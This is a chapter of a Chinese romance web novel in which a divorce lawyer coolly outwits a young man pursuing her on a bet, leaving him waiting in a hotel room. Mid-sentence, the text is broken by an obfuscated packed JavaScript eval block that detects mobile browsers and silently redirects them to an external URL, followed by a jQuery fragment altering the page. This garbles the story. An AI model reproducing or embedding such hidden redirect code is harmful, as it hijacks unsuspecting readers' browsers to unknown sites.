次日。
姜时攸同往常一样进入律所,前台的小姑娘忽然出声唤住她。
“姜姐,有您的花。”
花?
姜时攸云里雾里走向前台,心想应是某位当事人为了感谢她送的。
前台弯下腰,从里侧抱出一束鲜艳夺目的红色玫瑰,放在案台上,足足九十九朵,上面还附带着一张贺卡。
姜时攸一见是玫瑰花,还是九十九朵,便知不可能是当事人送的。
打开贺卡一看,里面没有署名,仅留下一行用钢笔写下的飘逸文字。
——相遇即是缘,期待与你的下次见面。
姜时攸眉头微蹙,这话可真够俗气。
她大抵能猜到送这束花的人是谁,俗气的搭讪方式,俗气的话语,除了昨晚那个冒昧的男人,她实在想不到还有谁会这么无聊。
“扔了吧。”
“啊!”
前台惊讶地张大嘴巴,姜律甚至都没多瞧花一眼,说扔就扔了?
“你喜欢可以留下。”
姜时攸轻描淡写抛下一句话,走往自己的办公室。
前台可惜地看了看玫瑰花,纵使她喜花,也知道不是自己的东西不会碰,还是依照姜时攸的吩咐,把花扔了。
午时。
姜时攸刚让助理送走了当事人,律所里便来了位不速之客。
许宸希特意定了奶茶,以姜时攸追求者的身份,给律所每个人都送了一杯。
唐明栋随手拿了一杯,用胳膊肘拐了拐许宸希,压低声音调侃,“可以呀你小子,舍得下血本。”
许宸希眸中闪过一抹狡黠,“舍不得孩子套不着狼,这次,我赢定了。”
“切,先看人家愿不愿领你的情再说吧。”
“我都亲自来了,还能失手?”
许宸希不信邪地觑了眼唐明栋,让送奶茶的人提着七八个手提袋,跟着他去往姜时攸的办公室。
唐明栋以及其他八卦的同事都围在一起,喝着奶茶望向办公室的方向,一副等着看戏的模样。
许宸希推开门,前脚还没踏入办公室,姜时攸冷冰冰的声音已然响起。
“出去。”
许宸希不以为意,笑着进入,“别不近人情嘛姜律,好歹我也请了你们律所其他人一起喝奶茶,也算花了钱,你这么赶我出去,多丢人。”
“知道会丢人,一开始就不要做,而不是让别人迁就你。”
许宸希无视姜时攸的话,让人把奶茶放在桌上。
又从其中一个手提袋里取出一杯奶茶搁置在姜时攸的办公桌上。
“姜律,赏脸喝一口。”
姜时攸眼神都不曾往上瞟,依旧盯着电脑屏幕,滚动着手里的鼠标。
“我不喝奶茶。”
许宸希似是早有所料,“好说。”
旋即从另一个手提袋里取出一杯咖啡,“喝咖啡。”
姜时攸依旧拒绝,“我不喜欢苦的。”
“这还有。”许宸希又取出一杯,“咖啡加奶,不算苦。”
“我不喝热的。”
“这个,半糖奶茶,冰的。”
“太冰喝不了。”
“这杯,常温。”
姜时攸总算停下手上的动作,望向许宸希,见他如同哆啦A梦一样,拿出不下二十种饮料,什么咖啡、奶茶、果汁,甜的、苦的、半糖的,热的、冷的、常温的……应有尽有。
在外面围着看戏的几人笑着打趣。
“唐律,瞅瞅你兄弟,这是一次性把东西都买齐了,让姜律想挑刺都没法挑,你要是有这觉悟,早两年都能把人追上了。”
唐明栋:“……”
没想到许宸希这小子在国外待了几年,追女人的本事居然长进不少。
连同他也佩服的五体投地。
姜时攸淡淡收回目光,“需要我跟你点破吗?我不喜欢的是你这个人,而不是面前这些喝的。”
许宸希拿起一杯咖啡喝了一口,走到姜时攸对面的椅子上坐下,嬉皮笑脸道:
“感情可以慢慢培养,一时不喜欢,不代表一辈子不喜欢。”
“你今年多大?”
“二十四。”
“我二十七,喜欢与我同龄的人,又或者长我几岁的人,光你的年龄,就不在我的考虑范围。”
“不会呀,女大三,抱金砖,我觉得我与姜律挺配。”
姜时攸挑眉,“想聊?”
“这不正聊着嘛。”许宸希一副理所当然的模样。
姜时攸拿过一旁的沙漏,翻转搁置在许宸希面前,“一个小时五千,我的咨询费可不便宜。”
“……什么咨询,五千一个小时?”
“针对你的。”姜时攸伸手去拿沙漏,“不愿意?出门左拐……”
“别呀!”许宸希快一步夺过沙漏,“五千就五千。”
说着掏出手机,举在面前晃了晃,“姜律,加个微信,我把钱转你。”
姜时攸也不与他废话,点开收款码举在手里。
“直接扫码付款,不必多次一举。”
“……你还真是滴水不漏。”
许宸希撇了撇嘴,还是乖乖扫码付了过去。
姜时攸收到钱,也一改刚才的冷淡面孔,露出一抹职业假笑,“许先生想咨询些什么?”
许宸希翻了个白眼,“把你的笑收回去,假的不能再假,看着别扭。”
姜时攸了然“哦”了一声,收起笑容,“说吧,想咨询什么?”
许宸希不想承认自己贱,但姜时攸冷着脸的样子,比刚刚露出假笑的样子让他舒服多了。
这钱也花了,不问白不问。
“你除了喜欢比你大的男人,还喜欢什么样的?”
“……这就是你要咨询的问题?”
“我花钱了,你管我问什么。”
姜时攸想了想,“喜欢什么样的……没有具体思考过,不喜欢什么样的还挺清楚。”
“那你不喜欢什么样的?”
“你这样的。”
“……”
许宸希一口老血堵在喉咙,吐不出来又咽不下去。
他这明摆着是来这花钱买罪受。
如果不是与唐明栋有赌约在先,就姜时攸这样自大的女人,他都不屑多看一眼。
“聊点别的吧,姜律谈过几任男朋友?”
“这属于我个人隐私,不在咨询范围内。”
许宸希摸着下巴思索,又打量着姜时攸,“依我看,姜律该不会一任男朋友都没谈过吧?”
姜时攸脸色青一阵白一阵,并未回答许宸希的问题。
许宸希见状来了兴致,“哟,这是让我猜对了?我们姜律还当真一任男朋友都没谈过?”
“你不是离婚律师吗?不离个一两次,怎会有经验给人打官司?”
姜时攸强忍着怒意,“许先生是做什么工作的?”
“我?”许宸希摊手,“无业游民。”
“倒也符合你的气质。”
“我什么气质?”
“吊儿郎当,无所事事,把追女人当乐趣,再把其当做谈资对外宣扬,自认为魅力十足,实则恶心。”
许宸希气笑了,摸着腕间的机械表,翘起二郎腿,好整以暇地望着姜时攸。
“你说我怎就这么稀罕你呢?那小嘴巴跟淬了毒一样,亲一口也不知道会不会把我毒死。”
姜时攸无语地翻了个白眼,这脸皮,堪比城墙。
“姜律。”许宸希前倾上身,手肘撑着办公桌,单手托着下巴道,“晚上一起赏脸吃个饭,如何?”
“没空。”
“嗳,你别忙着拒绝呀,我跟唐明栋可不同,他虚,我可不虚,你们这种类型的姐姐,不都喜欢什么小奶狗小狼狗的吗?我看我挺合适。”
姜时攸双眉微扬,唇角牵起一抹冷笑,“不妨说说,你有什么本事?”
“那方面有多行?能持续多久?”
许宸希愣了一下,他没想到姜时攸会问的这么直接。
他也就是随口说说,长这么大,他还没碰过女人,倒也不是他有多装,而是提不起兴趣。
他看见女人,与唐明栋他们看见女人不同,不仅不能激发他的欲望,反而会令他心生排斥。
唐明栋以前还常用这事调侃了他,说他该不会是喜欢男人。
可他对男人也同样如此。
一想到两个人要接吻,互相交换口水,他就生理性排斥,更别提再进一步发生关系。
他能和所有人侃侃而谈,不管男的女的,老的少的,但若是要发生亲密接触,他都会下意识去抗拒,去排斥。
谁要是摸了他的身子,他都恨不得搓掉一层皮。
“怎么?”姜时攸见他发愣,占据上风,学着他的腔调道,“许先生该不会是从来没碰过女人?”
“又或者说,许先生仅能坚持五秒?”
“……说……说谁呢!”许宸希尴尬回过神,“我怎么可能会没碰过女人?”
“五秒?你取笑谁呢?”
姜时攸见他愈发心虚,也生出几分挑逗的心思,“晚上吃饭就免了,不如直接去开房,这样……”
她眼神游离在许宸希身上,似是下一秒就能把他生吞活剥,“我也可以验验货,许先生是否如你所说的那样,持久。”
许宸希迟疑少许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517448|203233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,豁出去道:“开房就开房,谁怕谁。”
姜时攸抿唇点头,抽出一张名片递给许宸希,“准备妥当发消息给我。”
许宸希目光下移,落在那张名片上,心里打起算盘。
事情走到这步,他不接,反而显得他胆小怯懦。
他是男人,面对女人的邀约,不该退缩才对。
等晚上姜时攸来了,他再趁机拍几张二人共处一室的照片,足够忽悠唐明栋就行,又不用真与姜时攸发生关系。
思及此,他坦然伸手接过姜时攸递过来的名片,还不忘对其眨了眨眼,“等我消息。”
姜时攸皮笑肉不笑,“静候佳音。”
许宸希一副胸有成竹的模样走出姜时攸的办公室。
唐明栋好奇迎了上去,偷偷瞥了眼姜时攸,见对方没有注意到他,这才拉住许宸希的胳膊,将人拖到楼梯间。
“怎么样?我看你跟她聊了挺长时间,有戏?”
许宸希晃动着手里的名片,炫耀道:“瞧瞧这是什么?”
唐明栋一眼便认出那是姜时攸的名片,惊呼道:“她给你联系方式了?”
“嗯哼。”
“你俩成了?”
“还差点,不过快了。”许宸希凑到唐明栋耳边道:“她约我晚上去开房。”
唐明栋震惊地瞪大双眼,“真的假的?”
突如其来的一嗓子全部吼进许宸希耳朵里,他嫌弃地掏了掏耳朵,往后退了几步拉开距离。
“你干什么大惊小怪的?”
“是在质疑我的魅力?还是太高估了那位姜大律师的定力?”
“你就鬼扯吧!”唐明栋咂舌,“姜时攸如果能这么轻易拿下,两年前我就成了。”
“得了吧,我俩还是不一样的。”
“什么不一样?”
许宸希自信地张开双臂,原地转了一圈,“配置不一样,就我这样的,一百个里面也挑不出一个。”
“呵呵!”唐明栋冷哼,用鼻孔出气,“等着看吧,先别自信,你小子还没成呢。”
“等着吧。”许宸希拍了拍唐明栋的肩膀,势在必得道,“我今晚就让你输得心服口服。”
“行。”唐明栋双手抱臂,“你今晚就能把姜时攸拿下,我管你叫声爹。”
“嘿,这主意不错。”
“别急着高兴,你输了,得管我叫爹。”
“成交!”
“成交!”
……
有了叫爹的赌约,许宸希更加来劲。
于他而言,能听唐明栋管他叫爹,那可比得到一套空荡荡的别墅有意思多了。
今晚,他一定要赢!
一定!
一定……
好吧,不一定。
许宸希在五星级酒店的套房内来回踱步,距离他开好房,给姜时攸发去消息已经过去三个多小时,就是路上再堵车,这个点也该到了。
可他却迟迟未曾见到姜时攸的身影,打她电话,对面也一直提示忙音,根本打不进去。
这个死女人,他该不会是被耍了吧?
这念头刚出,手机铃声恰时响起,他神色不耐地扬起屏幕看了眼来电显示,是唐明栋。
他压根没心情接,可唐明栋接连打了三四个,吵得他心情愈发烦躁。
不得已,他只好滑动接听。
“有话快说,有屁快放!”
电话那头传来唐明栋爽朗的大笑声,“许少,你该不会还在等姜时攸吧?她还没来?”
许宸希听出他话里的嘲讽,皱眉问道:“你是不是知道什么?”
“喏,我发你微信了,你自己看看。”
许宸希闻言拿开手机,通知显示唐明栋给他发来一张图片,点进去一看,是姜时攸发的朋友圈。
一张图片配文字。
图片内容是一张机场的照片,配文:去往外地出差,不方便接电话,有事请留言。
时间,一个小时前。
“哈哈哈……”
电话那头再次传来唐明栋幸灾乐祸的笑声,“许少,你今天下午不是还信誓旦旦说姜时攸要跟你去开房吗?”
“怎么?她去出差的事没跟你说?”
“看来你们的关系也不怎么样嘛,一个微信号都没要到?哈哈哈……”
“我还等着你叫我爹呢,是我去找你,你当面叫,还是你来找我?”
“我看,还是我来找你……”
嘟……
许宸希怒然挂断电话,攥着手机的手青筋暴起,恨不得当场捏碎。
好一个姜时攸,居然敢耍他?
他跟她没完!
没完!